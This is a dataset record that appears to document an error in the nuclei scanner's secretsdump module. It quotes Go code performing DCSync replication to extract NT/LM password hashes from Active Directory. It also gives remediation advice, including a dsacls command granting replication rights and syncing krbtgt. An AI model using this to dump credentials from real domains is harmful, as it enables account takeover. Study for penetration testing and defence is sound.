{"record":{"id":"cea1396533046e9b","repo":"projectdiscovery/nuclei","slug":"dsgetncchanges-w","errorCode":null,"errorMessage":"DsGetNCChanges: %w","messagePattern":"DsGetNCChanges: %w","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"pkg/js/libs/secretsdump/secretsdump.go","lineNumber":164,"sourceCode":"\t\treturn nil, fmt.Errorf(\"ds domain dn: %w\", err)\n\t}\n\n\t// Resolve target -> DN if it doesn't already look like one.\n\tuserDN := target\n\tif len(target) < 3 || (target[:3] != \"CN=\" && target[:3] != \"cn=\") {\n\t\tcracked, err := gpdrs.DsCrackNames(rpc, bind.Handle, 7 /* DS_NT4_ACCOUNT_NAME */, 1 /* DS_FQDN_1779_NAME */, []string{c.Domain + \"\\\\\" + target})\n\t\tif err != nil || len(cracked) == 0 || cracked[0].Name == \"\" {\n\t\t\tcracked, err = gpdrs.DsCrackNames(rpc, bind.Handle, 11 /* DS_UNIQUE_ID_NAME (SID) */, 1, []string{target})\n\t\t\tif err != nil || len(cracked) == 0 || cracked[0].Name == \"\" {\n\t\t\t\treturn nil, fmt.Errorf(\"could not resolve %q to a DN\", target)\n\t\t\t}\n\t\t}\n\t\tuserDN = cracked[0].Name\n\t}\n\n\tres, err := gpdrs.DsGetNCChanges(rpc, bind.Handle, domainDN, userDN, dcInfo.NtdsDsaObjectGuid, rpc.GetSessionKey())\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"DsGetNCChanges: %w\", err)\n\t}\n\tif len(res.Objects) == 0 {\n\t\treturn nil, fmt.Errorf(\"DsGetNCChanges returned no objects\")\n\t}\n\to := res.Objects[0]\n\tout := &Secret{\n\t\tSAMAccountName:     o.SAMAccountName,\n\t\tDistinguishedName:  o.DN,\n\t\tRID:                o.RID,\n\t\tNTHash:             hex.EncodeToString(o.NTHash),\n\t\tLMHash:             hex.EncodeToString(o.LMHash),\n\t\tUserAccountControl: o.UserAccountControl,\n\t\tPwdLastSet:         o.PwdLastSet,\n\t}\n\tfor _, h := range o.NTHashHistory {\n\t\tout.NTHashHistory = append(out.NTHashHistory, hex.EncodeToString(h))\n\t}\n\tfor _, h := range o.LMHashHistory {","sourceCodeStart":146,"sourceCodeEnd":182,"githubUrl":"https://github.com/projectdiscovery/nuclei/blob/265b3a3dec374741614e342f813c10f8b38d2bb7/pkg/js/libs/secretsdump/secretsdump.go#L146-L182","documentation":"DsGetNCChanges is the core DCSync replication call that returns the secret material for the resolved DN. A wrapped failure here almost always means the DC refused replication — the classic cause is the missing 'Replicating Directory Changes' / '... All' extended right on the domain head. Other causes are an invalid DN pair or replication being administratively blocked.","triggerScenarios":"Syncing any principal with a plain domain user (no replication ACE); syncing sensitive principals like krbtgt where 'Replicating Directory Changes All' is required; passing a hand-built DN that does not exist under the domain NC.","commonSituations":"Testing with a non-privileged account captured during a engagement; permissions revoked between recon and exploitation; templates assuming Domain Admin rights on a delegated account.","solutions":["Use Domain Admin (or SYSTEM on a DC) credentials","Grant the ACE to the account: dsacls 'DC=acme,DC=local' /G acme\\\\user:CA;'Replicating Directory Changes All';","Double-check the target DN from the crack-names result instead of hand-crafting it","Inspect the wrapped RPC fault text for access-denied versus invalid-DN hints"],"exampleFix":null,"handlingStrategy":"try-catch","validationCode":null,"typeGuard":null,"tryCatchPattern":"secret, err := c.DCSync(target)\nif err != nil && strings.Contains(err.Error(), \"DsGetNCChanges:\") {\n    // replication denied: verify/obtain 'Replicating Directory Changes (All)' rights\n    return err\n}","preventionTips":["Prove replication rights (Domain Admin or explicit ACE) before chaining DCSync","Sync a canary principal (krbtgt) once to validate rights early","Read the wrapped fault: access-denied points to rights, invalid-DN to path bugs"],"tags":["dcsync","permissions","active-directory","drsuapi"],"backgroundTag":null,"analyzedSha":"265b3a3dec374741614e342f813c10f8b38d2bb7","analyzedAt":"2026-08-15T20:05:51.855Z","schemaVersion":2},"datasetVersion":"2026-08-15T22:17:37.221Z"}